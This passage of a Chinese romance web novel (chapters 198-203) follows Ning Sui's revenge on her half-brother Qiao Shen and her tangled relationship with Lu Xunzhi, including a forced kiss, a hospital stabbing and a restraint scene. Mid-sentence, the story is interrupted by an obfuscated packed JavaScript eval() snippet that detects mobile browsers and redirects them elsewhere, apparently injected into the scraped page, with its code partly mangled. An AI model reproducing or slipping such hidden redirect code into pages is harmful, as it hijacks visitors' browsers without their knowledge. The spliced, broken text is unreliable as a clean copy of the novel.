半边脸被宁穗打得红彤彤的,看上去真是像被欺负狠了的样子。 “你会后悔的!”陈瑶大喊一声,推开陆勋之,冲出了会议室。 房间里只剩下陆勋之和宁穗。 宁穗慢慢往外挪,动作很轻,极力降低自己的存在感。 陆勋之却叫住她,“站住。” 宁穗顿住脚步,耸了一下肩,“是她先骂我,我才动手的。” 陆勋之微微转头看向她,“你来找我?” 宁穗掀起眸子看向他,点了点头,“唐桓没让我进。” 陆勋之眉心皱了皱,“什么事?” “陆闻之去哪儿了?什么时候回来?”宁穗直接问,“我们的订婚宴就在下周。” 陆勋之微微眯了眯眼睛,“他回不来,那就取消。” 宁穗一秒都没犹豫,“不行!” “为什么不行?”陆勋之问。 宁穗突然明白一件事,“是你把他软禁了。” 她不是询问,而是肯定。 陆勋之的眼神阴鸷下来,他转过身,缓步走上前。 宁穗被他逼退到角落,后背贴到墙上,男人的脚尖抵住她的脚。 “所以呢?你来找我做什么?”陆勋之恶劣地扯出笑容,“想求我放过他?” 他的重音在求字上,而不是在放过二字。 “你就这么自信,我会听你的?”陆勋之又凑近了几分,气息喷洒在宁穗脸上,“你是谁啊?” 垂在身侧的手指缓缓蜷缩起来,宁穗仰着头看他,“再怎么说,他也是你弟弟。” 陆勋之单手撑在宁穗耳侧,微微弯身,与她平视,一双好看的眸子,攫住她,“可他现在跟我抢东西,我不想放过他。” 明明隔着面巾,宁穗知道他看不清晰自己的脸,可他的眼神像是能穿透一样,上下打量她。 “你不如来求求我试试,也许我会——” 啪! 陆勋之的脸被打得偏到一边。 他舌尖轻抵腮,短笑一声,缓缓转过头来看她,“还是你真的想像陈瑶说的那样,一女共事——” 宁穗的巴掌再次落下来。 陆勋之突然抓住她的后颈,将人带到跟前,隔着面巾,吻了上去。 宁穗的唇被磨得生疼,随即是尖锐的刺痛感。 甜腥味在口腔里弥漫开来。 宁穗眼角瞬间痛出雾气,她猛地推搡陆勋之,但男人另一只手,紧紧箍着她的后腰,将她禁锢住。 疼痛和屈辱感,让宁穗发出呜呜声。 男人动作顿住,随即将她按进怀里。 陆勋之粗重的气息喷洒在宁穗耳边,他隐忍又压抑的声音响起,“不许嫁给他。不然我就弄死他。” 宁穗挣扎的动作一顿,浑身的血液倒流回心脏。 她只觉得呼吸都困难。 给乔家挖好的坑,只等她成了陆家的未婚妻这个身份,就差一步了。 宁穗不想放弃。 可是陆勋之话说得咬牙切齿,加上这段日子陆闻之几乎是失踪状态,她还能继续吗? 宁穗闭了闭眼睛,浑身像是卸了力气。 陆勋之明显感觉到怀里的人,软了一些,像是被抽走了骨头。 他心里莫名其妙地一慌,下意识搂得更紧。 许久,宁穗才哑声开口,“知道了。” 那就是答应了。 可陆勋之心里却没那么开心,他还想说什么,可又不知道从何说起。 宁穗推开他,他这次没有再坚持。 她从地上捡起自己的包,简单拍了拍,头都没抬,转身离开了会议室。 宁穗没去找陆闻之给她安排的司机,而是从旁边的小门离开,拦了一辆出租车,一路开到了乔深所在的医院。 她买了一束花抱在怀里,然后在走廊尽头看了很久。 乔深出事之后,家里就给他安排了保镖,几乎是二十四小时的看守。 乔深伤得很重,有时候醒来,也是发脾气,但大部分时间都在昏睡。 宁穗就那么一直看着,看了足足半个小时。 她摘下面巾,整理了一下衣服,抱着花往前走,走到病房门口就被拦了下来。 保镖打量宁穗,宁穗抬手挽了一下头发,露出淡淡的笑容,倾国倾城。 人畜无害。 “里面是我哥,我进去看看。”宁穗说的风情万种。 保镖对视一眼,一副懂得都懂的表情。 这是把宁穗当成乔深的情人了。 看她细胳膊细腿的也不能怎么着,两人交换眼神之后,就放了宁穗进去。 宁穗关上门的一瞬间,嘴角的笑容垮下来,冷冷看向内室的门,脱掉了高跟鞋,缓步走过去。 她轻轻推开门缝,看到乔深正躺在床上,脸色苍白,瘦骨嶙峋。 看上去也没几天好活的样子了。 宁穗眼底翻腾起滔天的恨意。 想到宁安静被送到医院的时候,身上每一块好地方。 医生告诉她,是被肇事者反复碾压导致的全身器官衰竭。 那之后就没再醒过来,变成了植物人。 可乔深却风风光光又活了三年。 凭什么? 宁穗脸上没有一丝表情,她本来想等她拿回乔家,再一点点折磨乔深。 可是现在她没时间了。 陆勋之已经知道了她的身份,不会让她嫁给陆闻之。 那她后边的计划,全都成了废纸。 她没用,真的很没用。 那就用她没用的命,换一命吧。 宁穗口袋里的手机一闪闪的,是陆闻之打来的电话。 她在来的路上已经跟陆闻之发过信息,希望他能帮她照顾宁安静。 如果宁安静实在挺不下去了,那就让他放手吧。 砰! 宁穗将自己的包丢在地上,发出闷响。 躺在床上的乔深抖了一下,缓缓睁开眼,眼神昏暗浑浊,仿佛对不上焦。 宁穗缓步走到他跟前,嘴唇轻勾,那个样子很眼熟。 乔深瞳孔倏地缩紧,“你……你是……” 宁穗狞笑,“对,我是。” 第199章 为什么不回来找他 乔深像是见了鬼一样,在床上疯狂扭动,但他已经没什么力气,强弩之末。 宁穗一步步走到他床前,唇角勾着笑,特别妩媚漂亮。 但是看在乔深眼里,就像是午夜锁魂的女鬼,他吓得闭上眼睛,颤抖着嘴唇低吼,“你别过来!” 有气无力,根本没有任何震慑力。 他突然想到什么,伸手去够呼叫铃,但下一秒,一道寒光闪过,他的手背便鲜血淋淋,根本用不上力气了。 他抱着自己的手,又哭又骂,“你不要过来!” 他只会这一句了。 宁穗凑上前,“你现在知道怕了,你当初给我妈下了药,害得她在开车的时候睡着了,然后出了车祸的时候,你怎么不知道怕的?” 乔深一愣,怔怔抬眼看向她,“你不是沈丛?你是谁?” 宁穗嘲笑出声,“你还真以为我妈来索命吗?蠢货!” 乔深这才反应过来,“是你!你没死!沈瑜……是啊,沈瑜,二十几年过去,我都忘了你,你这个便宜货的名字,啊!” 乔深脸上又挨了一下。 火辣辣的疼痛感腐蚀着乔深,他这次真的怕了。 紧紧咬着后槽牙,不敢再说一句话。 宁穗眼底的狠,吓到他。 他甚至觉得,只要再多说一句,宁穗能拆了他。 想到那天晚上,在会所,宁穗差点弄死他。 他也心有余悸。 更何况,他刚刚在鬼门关走了一遭,他更怕死了。 他伤手捂着脸,好手捂着手,捉襟见肘。 “沈瑜,再怎么说,我们也是兄妹,就当哥哥之前有眼无珠没认出你,你就放过我好不好?再说,当初我也那么小,我怎么会给你妈下药呢?那都是误会。” “误会?”宁穗冷笑,“那当初我养母找到乔长年,让他接我回来的时候,你和你妈是怎么做的?” 乔深脸色白了几分。 当初宁安静找到乔长年时,曾经劝过乔长年来接宁穗回去。 但是当时宁安静根本没机会见到乔长年,而是被方伶和乔深给拦住了。 给了她一百块钱,打发叫花子一样,甚至还跟着宁安静回家,威胁报复,害得宁安静带着宁穗东躲西藏了好一阵子。 后来宁安静收到乔长年的电话,对方就一句话,“不想她死,就不要来找我了。” 宁安静这才明白过来,乔家不是没能力找到宁穗。 而是没人想要她。 她丢了,是所有人希望看到的事。 宁安静心疼宁穗,后来也没再找乔家。 乔深眼珠一转,抿唇没说什么。 “还有我养母的账,我也会一刀刀跟你算。”宁穗说着,抬起胳膊猛地扎下来。 …… 陆勋之赶到的时候,被保镖拦在门外。 乔深出事,乔家也不傻,自然猜到跟陆家有关系。 只不过他们现在斗不过陆家而已。 所以保镖被专门吩咐过,如果陆家人来,必须拦住。 “滚开。”陆勋之没有耐心。 刚才他接到陆闻之电话的时候,人都疯了。 宁穗那些话什么意思,是个人都能听出来。 她已经不顾自己的命了。 虽然陆勋之不知道宁穗是为什么跟乔家这么大仇,但他知道宁穗是要来真的。 但保镖不让开,陆勋之带来的人也不是吃素的,三两下就将人压住。 “你们要干什么!”方伶带着人跑过来,“陆勋之,你到底要干什么?你们欺负我们乔家,还没完没了吗?你要是再敢乱来,那我就报警!” 陆勋之冷眼看过去,方伶保养很好,虽然五十多了,但看上去就像是四十出头,但满眼的精明,让陆勋之就看不上。 “你放心,我会给乔深留口气,给你送终。”陆勋之话说得难听。 这跟咒方伶死有什么区别。 方伶你了半天,也没说出个囫囵话,眼圈红彤彤的,看上去好可怜。 但陆勋之连乔长年都不放在眼里,怎么可能把她当回事。 直接冲进了病房。 方伶也跟着冲进来,看到眼前的场景,立刻大叫。 但陆勋之一个眼神,就让保镖捂住了她的嘴。 然后他缓步上前,声音沉静,但明显有一点点颤抖,“把刀给我,剩下我来处理。” 听到有人进来,躺在地上奄奄一息的乔深,像是看到了希望,呜呜大叫,“救命!杀人了!” 陆勋之冷淡地扫了他一眼,收回视线,看向宁穗,“乖,给我。” 宁穗看向陆勋之,扯唇笑笑,“你早就认出我,是不是?陆勋之,为什么,为什么就不肯放过我呢?” 陆勋之的心口像是被宁穗扎了一刀,疼得呼呼漏风。 “宁穗,你想做什么,我都会帮你,但是别为了这种垃圾,毁了自己。” 被称作垃圾的乔深一动不敢动,虽然不爽,但现在只有陆勋之能帮他。 “对,我是垃圾,我不值得你脏了手。” 宁穗却猛地抬手,被陆勋之一把抓住,他转身顺势踹了乔深一脚,对方直接晕了过去。 陆勋之抢走了宁穗手中的刀,将人箍在怀里,直接带走。 等她转身的时候,才与方伶对上视线,对方瞳孔震动,被吓到。 宁穗挣扎,一巴掌一巴掌地呼在陆勋之脸上。 在乔深那里还没有发泄完的怨恨,全数打在陆勋之身上。 陆勋之脸上被她抓出好几道血痕,他也面不改色,直接将宁穗塞进了车里。 宁穗转身要跑,陆勋之扯下领带,缠住她的手,又系在车顶扶手上,宁穗一双手被半吊起来。 怎么挣扎都挣脱不开。 陆勋之黑着脸上了驾驶座,一脚油门踩出去。 车子疾驰在路上,陆勋之不时地看一眼宁穗。 肾上腺素现在下去了,宁穗浑身卸了力气,瘫坐在椅子上,双腿蜷缩起来,看向窗外。 只留给陆勋之一个后脑勺。 一副破罐子破摔的样子。 陆勋之心里特别不舒服,有无数的话想问。 为什么要找乔深的麻烦。 为什么要嫁给陆闻之。 为什么……不回来找他。 可无数的话冲在嘴边,陆勋之只哑声开口,“病治好了吗?” 问完,陆勋之无声自嘲地笑笑,真的是问了一句废话。 当时宁穗的情况那么紧急,最多有几个月的寿命。 要是病没治好,宁穗也不会出现在他面前。 第200章 你的命,比他的值钱多了 车子一直开到景园。 过了这么多年,宁穗再次回到这里,心里多少有些异样。 陆勋之下车,走到宁穗这边,打开车门,冷着脸给她解开领带。 她刚才一直坠着手臂,手腕上被勒出了紫红色的印子。 陆勋之皱起眉头,拇指帮她揉了揉,宁穗不领情地抽回手,冷淡道,“猫哭耗子。” 男人的眉心皱得更紧了几分,垂着眸子看了她几秒,拉住她的手肘,将人从车里拎出来。 宁穗一声不吭,被他拉着往别墅里走。 天气阴冷低沉,死气涟涟。 就像是宁穗当下的心情。 她任凭陆勋之将她安置在沙发上,余光瞥见他又离开。 宁穗随意看了一眼,五年过去,室内的装潢没什么变化。 恍若隔世。 她怔愣间,一只手端了一杯水递到她跟前。 宁穗看了一眼皙白的手,扭开头。 “嘴都裂了。”陆勋之说,“喝一点。” 听到他这么说,宁穗抿了一下嘴唇,确实很干。 她接过水杯喝了两口。 温热适中的水划过喉咙,确实好受了一些。 余光中一双黑色考究的皮鞋就在跟前,陆勋之没走,但也没再说话。 就这样坚持了一会儿。 陆勋之走到对面的单人沙发坐下,“你是为了报复乔家,才跟陆闻之结婚?” 宁穗并不意外。 聪明如陆勋之,只要将这几件事前前后后一对,就知道是这个原因。 宁穗没说话。 “你想要什么,我都可以帮你。”陆勋之的声音像是被砂纸擦过,“但你不能嫁给陆闻之。” 后一句,他加重了语气。 宁穗放下水杯,蜷缩起双腿,窝在沙发里,闭上眼睛,一句话也没说。 仿佛没听到陆勋之的话一样。 男人也没继续说什么。 过了几分钟,她感受到有人拿起她的手,湿热的毛巾捂上来,轻轻擦拭。 她手上有不少血渍,陆勋之一点点帮她擦干净,动作轻柔。 宁穗很困很累,迷迷糊糊就睡着了。 等到宁穗再醒来,是在后半夜。 房间里开着地灯,昏黄的灯光并不刺眼,她睁开眼,隐约看到沙发上斜靠着一个人影。 她坐起身,打开床头灯。 沙发上的陆勋之缓缓睁开眼,惺忪着与她对视了几秒,才抹了一把脸,坐直了身子,“想喝水?” 说着,他起身,从旁边的保温壶里,倒了一杯水递过来。 宁穗接过去,握在手里没喝。 看着清澈的水面,因她的手微微动作,荡漾起的淡淡波纹。 宁穗眼睫颤抖,“你要关我到什么时候?” 她的声音在沉寂的夜里响起,冷淡得让人心生寒意。 陆勋之的瞌睡虫一下子就没了。 两人沉默下来,陆勋之片刻后,坐在床边,侧身对着宁穗。 而不是坐在她的对面。 让宁穗生出一种错觉,他站在自己这一边。 “你想怎么处理乔深?”陆勋之突然问。 宁穗很淡地笑了一声,“我想让他死。” 陆勋之微微转头看向她,“想让一个人死,有很多方法,你没必要赌上自己的命。你的命,比他的值钱多了。” 宁穗愣了愣,倏地笑了,“是,我只有死在你手上,才算物有所值。” 陆勋之的脸色肉眼可见的黑下来,“宁穗!” “怎么!”宁穗也吼出来,“我说的不对吗?每次我的人生好一点的时候,你就会跳出来,把我的希望全都毁掉!五年,五年,我到底有多少个五年!你为什么就不肯放过我!” 宁穗吼完,捂着脸呜咽起来,声音不大,却听得人撕心裂肺。 陆勋之无措地看着她,抬手想去摸她的头发,却悬在半空不敢上前。 许久,宁穗大概是哭累了,她歪身躺回了被窝,捂住头。 被子被扯了扯,陆勋之的声音隔着被子闷闷地透过来,“别这样,不透气。” 他声音软,像是在哄人。 但宁穗根本听不进去。 她使劲拉着被子,不让陆勋之得逞。 陆勋之不敢用力,生怕弄疼了她的手。 隔着被子,陆勋之看到宁穗微微的颤抖,他索性躺上来,将人和被子一起抱在怀里。 宁穗闷闷叫道,“你放开我!” “我不放。”陆勋之仿佛在说当下不肯放开,又好像在说,他往后余生都不会放开。 不知道纠缠了多久,宁穗大概是闷着了,她猛地扯下被角,头发丝乱糟糟地糊了一脸。 她大口喘着气,发梢在她的嘴边,一下下地吹起来,看上去有点滑稽。 陆勋之歪头看她,很有耐心地帮她把发丝整理好,露出白皙漂亮,但是生着气的脸。 男人哼笑一声,“闹够了吗?” “没有!”宁穗恶狠狠的,像个气急的小兔子,却丝毫没有杀伤力,“陆勋之,你一天不放我走,我一天都不会让你安生。” 陆勋之一眨不眨地看着她,深深吸了一口气,索性躺在她身侧,依旧保持着抱着她的姿势。 男人的气息喷洒在她后颈上,宁穗有些痒,动了动,陆勋之却抱得更紧。 “睡吧。我好几天没睡了。等我睡好了,我们再聊。”陆勋之声音哑哑的,话说得很慢。 话音一落,宁穗就听到他舒缓的气息,像是睡着了。 大概是刚才又折腾累了,宁穗很快也睡着了。 再醒来的时候,房间里就剩下宁穗一个人。 她睁着眼睛看了一会儿天花板,房门被人推开,她转头便对上了陆勋之的一双眸子。 对方走进来,坐在床边,像是无数普通夫妻一样,自然地叫她起床去吃饭。 宁穗却没有胃口,她坐起身,“现在可以谈了?” 陆勋之顿了顿,“我的条件我已经说了。” 就看宁穗的意思。 宁穗哼笑一声,“我要是不同意呢?你会怎么做?用我妈威胁我?还是陆闻之,或者唐佳笑?” “宁愿嫁给陆闻之,也不肯回到我身边吗?”陆勋之沉默片刻突然说。 宁穗抿唇,“是。” 陆勋之冷不丁笑了,眼底满是苦涩,“所以,你会爱我哥,爱我弟弟,就是不爱我,对吗?” 他的尾音有些哽咽,“可是你明明最先喜欢的人,是我。” 第201章 可怜巴巴乞求她的爱吗 宁穗看着放在床边的餐盘,上面的早餐还冒着淡淡的热气。 可她一点胃口都没有。 陆勋之刚才的话,就像是一根刺,顶在她的喉咙里,不上不下。 好像他是个可怜巴巴没人爱的小可怜。 可他明明什么都有了。 王习一个私生子,连陆家祖坟都进不去,从小到大都没有爸爸,被人骂野种,骂到了初中。 最后是当时一起跟王三保学艺的时候,一个师兄会散打,教了他,把那些骂他的同学打服了,才停止了长达七八年的霸凌。 陆闻之更不用说了,前半生几乎在医院里度过,到现在还坐在轮椅上。 只有陆勋之,陆家最受宠的掌权人。 就算陆老爷子现在扶持陆凛之,但也给陆勋之留了后门。 陆勋之只要想,随时都能再坐上陆家最高的位子。 他刚才的话,算什么,在这里可怜巴巴乞求她的爱吗? 真的很可笑。 宁穗还是吃了一些,跟陆勋之斗是长久之战,她不能就这么倒下了。 等吃好了,她将餐盘放在门口,又回去躺着。 静静想着接下来该怎么办。 手机响起,一个陌生号码。 宁穗没接。 但对方很快又发了信息进来,【该叫你沈瑜,还是宁穗?你可真会玩。】 宁穗微微皱眉,自己在医院闹的阵仗不小,圈子大概传开了什么。 她没回复这个陌生短信,而是打开了群,翻了翻,没人说话。 处处透着诡异。 唐佳笑的电话拨进来。 宁穗随即接通,那头唐佳笑松了一口气,“祖宗啊,你没事吧?” 昨晚上之后,宁穗的手机就不见了,应该是被陆勋之拿走。 刚才送早餐来,陆勋之顺手把手机还给她。 “没事。”宁穗的声音都是哑的,听上去可不像是没事。 唐佳笑瞬间就哽咽了,“穗穗,你为什么要去刺杀乔深啊?那种废物值得你赌上自己的前途吗?” 听到这句话,宁穗恍惚了一瞬,昨晚上陆勋之也是这样说的。 那边唐佳笑抹了一把眼泪,吸了吸鼻子,“你放心,乔深还没死,但是现在快吓死了。我听说乔家已经给他送精神病院里治疗了。不死也没好日子过了。乔家现在彻底乱了。那个乔若钰趁火打劫,现在几乎掌握了乔家的命脉。乔家易主是早晚的事了。” 宁穗倒是没想到,乔若钰这次这么狠,但冥冥中觉得应该不是她自己一个人在做,一定是有什么人在帮她。 “还有那个方伶,求人都求到我这里来了。”唐佳笑不屑地哼笑一声,“乔镇说,当年她对乔镇家有多趾高气扬,现在就有多卑微,一边求乔镇,一边求我,希望我们在陆勋之面前求情,还有在你面前求情。” 宁穗淡淡道,“笑笑,当年我亲妈是车祸没的。我在国外的时候,我妈跟我说的。” 唐佳笑愣住,宁穗很少提起她亲妈。 在唐佳笑的印象里,宁穗好像对自己小时候的事,不太记得了。 但她有点印象,听院长说过,宁穗好像是发生过车祸,后来就应激忘记了一些事情。 “我妈还说,当年我亲妈的车祸,可能不是意外。对了,乔深是乔长年和方伶婚前生的孩子。” 这么几句话一出,唐佳笑就算是再迟钝也知道怎么回事了。 方伶和乔长年出轨生子,然后害死了自己的正宫妻子。 就连亲生的女儿都不要。 最搞笑的是,这个婚外情的产物,竟然比宁穗还大几岁。 “穗穗,你放心,乔镇家的门不会再给方伶开。”唐佳笑拍着胸脯子答应下来。 挂断电话,宁穗又躺了一会儿,陆勋之没再来。 宁穗休息了半天缓过来,就起身下楼。 楼下没人,院子里也没人。 连一个看守的保镖都没看到。 宁穗有些懵,这跟她想的不一样。 陆勋之好不容易找到她,还不把家装得跟笼子一样? 但是没有。 家里的装潢和摆设,跟当年她离开的时候,几乎一模一样。 她甚至有些恍惚,她就像是从来没有离开过。 宁穗抬头看了一眼周围,没看到监控,她手指颤抖发紧,最后试着走出了房门。 还是没有任何变化。 宁穗直到坐上出租车的时候,都还有些不敢相信。 陆勋之真的没有关她。 但她接下来又犯了难。 去哪儿呢? 不管去找谁,都是给对方添麻烦。 她不知道,如果有人肯收留她。 是不是下一秒就会被陆勋之报复。 她恍然,原来这就是陆勋之的打算啊。 就算放她出来,也没人能收留她。 宁穗最后去了一家酒店。 是陆氏名下的。 与其东躲西藏给别人找麻烦,宁穗干脆在陆勋之眼皮子底下待着。 却又隐隐透着对抗,就是不肯回家。 就是要住在外边。 宁穗给陆闻之又发了信息,问他什么时候回来。 对方照例没回。 宁穗挂在床边,手指紧了紧。 她基本已经确定,陆闻之是被陆勋之给关起来了。 心里有些愧疚。 要不是为了她,陆闻之也不用被陆勋之这么对待。 他俩不管感情好不好,好歹也是亲生的兄弟。 打断骨头还连着筋。 越想越生气,宁穗拿起手机,将陆勋之的号码从黑名单里放出来。 拨了出去。 响了很多声,对方都没接。 宁穗将手机丢在一边,等着手机自动挂断。 却在挂断的前一刻,电流送来了男人微哑的声音,“喂。” 宁穗愣住,翻身撑起身体,拿起手机看,确实接通了。 但她没有说话,对方也没催,就静静等着她。 许久,久到宁穗以为陆勋之是不是挂断电话的时候。 男人的声音再次响起,“开门。” 宁穗愣了愣,鬼使神差地拿起手机,往门口走去,在猫眼里看了看。 外边站着陆勋之,头发湿哒哒地垂下来,看上去不像平时那么拒人千里之外。 宁穗抿唇,想了想,还是打开了门。 男人就站在门口,眼神没什么情绪地看着她,“找我?” 宁穗这才注意到,他浑身都透着潮气,像是淋过雨。 又像是急匆匆赶来的。 宁穗一下子又不知道从何说起,“你……” 男人晃了晃,整个人朝她倒下来。 第202章 宁穗,你真是好样的 陆勋之的脸埋进宁穗颈窝的时候,她突然感受到滚烫的温度。 他在发烧,温度很高。 宁穗下意识地扶住他,往屋里带。 男人还有一丝意识,但大部分的重量都压在她身上,宁穗走得踉踉跄跄,好不容易才将他扶到床上躺下。 陆勋之抬手挡在眼前,摆成个大字躺在床上。 宁穗犯难,死沉死沉的,她也弄不走他了。 “我给你叫120吧。”宁穗说着拿起手机,刚点了一个数字。 听到陆勋之比通话时候更沙哑的声音说:“不用。你说完我就走。” 宁穗,“……” 他这个样子,可不像是能走的。 但人都来了,宁穗硬着头皮,坐在床边,尽量心平气和地说:“你现在清醒吗?” 别等她说完,第二天他又说不记得,不认账。 陆勋之很低地嗯了一声。 宁穗深吸气,“陆勋之,你想对我怎么样,随便你。但是你别欺负陆闻之,要不是他,我可能……五年前就**。” 男人却意味不明地哼了一声,“你怎么知道,五年前不是他一手策划的?” “我觉得你挺好笑的。”宁穗被气到,“以前我说宋姜,说你妈,还有你妹妹陆思思,哦,她现在不姓陆了。你总是不信,在你眼里,人不会那么坏,更何况是你的亲人朋友。可现在你却这么揣测自己的亲弟弟。” “你就这么护着他?”陆勋之缓缓放下手,没什么精气神的眼睛,不知道是因为病,还是因为别的,红得有些吓人。 宁穗唇角抿成直线。 陆勋之了然地点点头,“也对,你们现在有情有义,还有个可爱的女儿。” 宁穗,“……” 这语气,怎么都觉得怪怪的。 宁穗轻轻叹了口气,既然提到了悠悠,宁穗干脆将错就错,“你也知道我们有个女儿,你就不要再掺和我们的事了,行吗?你现在把我的身份公开出来,那悠悠怎么办?叫你什么?大伯,还是爸爸?” 心里对悠悠道了歉,对不起啊,妈妈不是故意利用你。 但她是真的没招了。 这句话成功让陆勋之的苍白的脸色黑了下来。 他两颊绷得紧紧的,冷不丁笑出声,“宁穗,你真是好样的。” 他肺都快气炸了。 说着,他又挡上了眼睛,物理隔断两人的交流。 宁穗突然有种拳头打在棉花上的无力感。 她现在骂人,是不是有点太**病人? 生气,真的生气。 宁穗起身,气哄哄地走出房间。 刚走出去两步,看着自己还穿着酒店里的一次性拖鞋,顿时反过味儿来。 凭什么啊? 明明是她自己花钱住的酒店,现在凭什么让给陆勋之? 他是住不起酒店吗? 他明明在这里有自己的长包房。 宁穗越想越觉得不对,她拿出手机拨了一通电话出去。 陆治之接得很快,宁穗照例说自己是沈瑜。 那头陆治之语气倒是不像平时那么客套,反而多了几分熟稔,“嫂子,你说的情况我知道了。我哥暂时死不了。” “……” “但是也得麻烦嫂子你给他找点药吃,也不能真让他**。” “……” “你知道的,要不是我哥在这顶着,爷爷就要抓我回去继承家业了。我的理想可是妙手仁心。就这样,辛苦你了,嫂子,加油!” “……” 宁穗张了张嘴,都没机会拒绝,就被陆治之莫名其妙地给劝服了。 确切地说,是单方面通知。 宁穗看着被挂断的电话,气笑了。 后知后觉,陆治之大概知道她的身份了。 那句嫂子,叫得就不同寻常。 宁穗懒得多想,她去了一趟前台,要了退烧药,又折返回自己的房间。 陆勋之翻了身,侧卧着蜷缩成一团,还在微微发抖。 看样子烧得不轻。 她抿了抿唇,走过去倒了热水,走过去,扶起他。 但他又高又大,又死沉死沉的。 宁穗根本扶不住他,只能将人抱在怀里,动作不怎么温柔的,给他塞了药。 然后她又把人丢回床上。 对,就是丢。 陆勋之睡得迷迷糊糊的,哼哼了两声,转身又睡了。 宁穗叹了口气。 硕大的床,陆勋之一趟,都没地方了。 她现在好后悔,刚才就不该给他开门。 可请神容易送神难。 宁穗叹了口气,转身去了沙发上。 好在沙发还算比较大,她蜷着腿,也能凑合一下。 宁穗拉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102220|192554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的羽绒服当被子盖上,和衣躺下。 可睡了没一会儿,她听到床上那一大坨开始小声哼哼。 听上去好像很不好受。 宁穗叹了口气,起身走过去,拍他的肩膀,“陆勋之,你哪里难受?要不要给你叫车?” 男人没吭声,看样子像是被梦魇住了。 眉心皱出了疙瘩。 宁穗叹了一口气,一晚上都在叹气,都怪陆勋之,福气都快叹没了。 宁穗想骂脏话,狠狠瞪了陆勋之一眼。 没辙,又给陆治之打电话过去,那头听上去还没睡,语气是压抑着的,好像刚才在跟人吵架似的。 但对她还是很恭敬,“没事,嫂子,你拿温热的毛巾给我哥擦擦,降降温就好了。死不了。” “……” 是死不了,可她现在想死。 不等宁穗说什么,那边传来女人哭诉的声音。 陆治之焦头烂额地哄了一句,“别哭了行不行?”随即又对宁穗说,“嫂子,我这还有点事,我先挂了哈。” 宁穗都没来得及说话。 她扭头看看床上那一大坨,使劲闭了闭眼睛,丢开手机,去了浴室。 再出来的时候,手中多了一块温热的毛巾。 宁穗冷着脸给陆勋之擦脸,擦脖子,又解开几个扣子,给他擦胸口。 他身上的伤疤再次暴露在她面前。 宁穗愣了愣。 上次看到的时候,她没当回事,没仔细看。 但这会儿离得近,细细看来,这伤口上去有点奇怪。 因为陆勋之是学医的,宁穗上学的时候成天跟着他泡图书馆,倒是也多多少少接触了一点医学知识。 这伤口看上去,像是刀伤。 还不浅。 不然不会留下疤痕。 宁穗数了数,七八道伤口。 刀刀都是致命的位置。 这是多大的仇恨啊。 宁穗眼睫颤动,唇角抿成直线,多大仇恨也跟她没关系,她才不关心。 余光一动,瞥见陆勋之半睁开眼睛,正在看着她。 宁穗冷了脸,“你醒了?叫人来把你接走,别占着我的——”床。 男人滚烫的手臂拉她入怀,沙哑的声音从头顶落下来,透着隐忍的痛意,“嗓子为什么会变成这样?是为了躲我,连嗓音都故意毁了吗?” 第203章 你到底想怎么处置我? 宁穗听出了一丝哽咽,但她目光空洞洞的,没什么情绪。 在经历过一轮又一轮的生死,她现在没那么容易情绪波动。 也不敢太波动。 她怕自己控制不住,再次遁入情绪的深渊。 这一次,没人能拉她一把,她怕自己再也清醒不过来。 没有得到回复,陆勋之垂眸看她。 在这个角度,只能看到她扑簌簌的睫毛,颤动着,柔弱又可怜。 他抿了抿唇,又闭上了眼。 高烧反反复复,直到凌晨才渐渐褪去。 宁穗被他烫得睡不着,直到他退烧,才有了困意。 梦里反反复复,都是陆勋之抓着她问。 为什么要嫁给陆闻之? 为什么要喜欢王**? 为什么!为什么!! 说得好像她喜欢全世界所有人,只是单独抛弃他而已。 可明明就是他先对她不在意。 自己的热烈和一腔爱,都白白喂了狗。 宁穗梦里很生气,又打又骂的。 耳边传来朦朦胧胧的声音,“宁穗,宁穗!” 她惺忪睁眼,入目是陆勋之有些担忧的脸,还有些苍白的病气。 “做噩梦了?”陆勋之声音嘶哑地问。 宁穗抹了一把脸,坦然答,“嗯,梦见你了。” 陆勋之无语。 刚才她那个样子,简直就像是跟怪兽搏斗。 那不是什么好梦,他没继续问。 “我去洗澡。”陆勋之讪讪起身。 他发了一夜的烧,身上都快臭了。 “刚发完烧不能洗澡。”宁穗捧着脸,语气有气无力。 她也没睡好。 陆勋之步子一顿,缓缓看向宁穗。 她像是本能地提醒一句,并没有多少在乎。 但陆勋之心里莫名有些暖。 “嗯,我简单擦擦。”陆勋之说。 宁穗没再管他,翻身又睡下。 大概是真的累了,宁穗很快睡着,这次没有做梦。 再醒来的时候,宁穗一翻身就看到坐在角落沙发上正在处理工作的陆勋之。 不满的皱眉,“你怎么还不走?” 都已经好了,还待在她这干嘛? 陆勋之放下手中的文件,迎上她带着敌意的视线,语气不急不缓,“昨晚上找我做什么?” 哦,对啊。 她后知后觉地搓搓脸,怎么把正事都忘了。 她最近好像记性有些不太好。 宁穗坐起身,陆勋之同时走过去,从桌上打开保温桶,倒了一碗粥递给宁穗。 海鲜粥,还放了一些泡菜,是宁穗喜欢的口味。 鲜香的味道往鼻子里钻。 宁穗肚子适时咕噜了两声。 是真的饿了。 陆勋之很轻地笑了笑,“吃了再说。” 宁穗没客气,垂着眸子接过粥,就喝了起来。 一碗粥很快见底,宁穗放下碗,起身去洗漱。 看着镜子中的自己,下巴上还挂着水珠,整个人又瘦了一圈。 这几年,陆闻之帮她养起来的那点肉,这才几天啊,都掉没了。 好像那些好日子都是她偷来的似的。 十二点的钟声一敲响,就要全部还回去。 宁穗看着镜子中的自己勾起唇笑,几分苦涩还有无奈。 可她现在不能就这么算了,至少把陆闻之捞出来。 打定主意,宁穗昂首挺胸地走出了浴室,坐在陆勋之对面的单人沙发上。 两人之间隔着茶几,仿佛是谈判一样。 “陆勋之,你到底想怎么处置我?”宁穗说得轻描淡写。 但这语气,仿佛她是个货物一样,让陆勋之心里刺得慌。 不舒服,很不爽。 陆勋之压了压心里的那股燥,尽量平和着语气说:“你回来,还当你的宁穗,你想要什么我都给。你要是看不上乔家,我就帮你夺回来,或者毁掉,随你。” 宁穗微微点头,“那陆闻之和陆念悠怎么办?” 她故意说两人的全名。 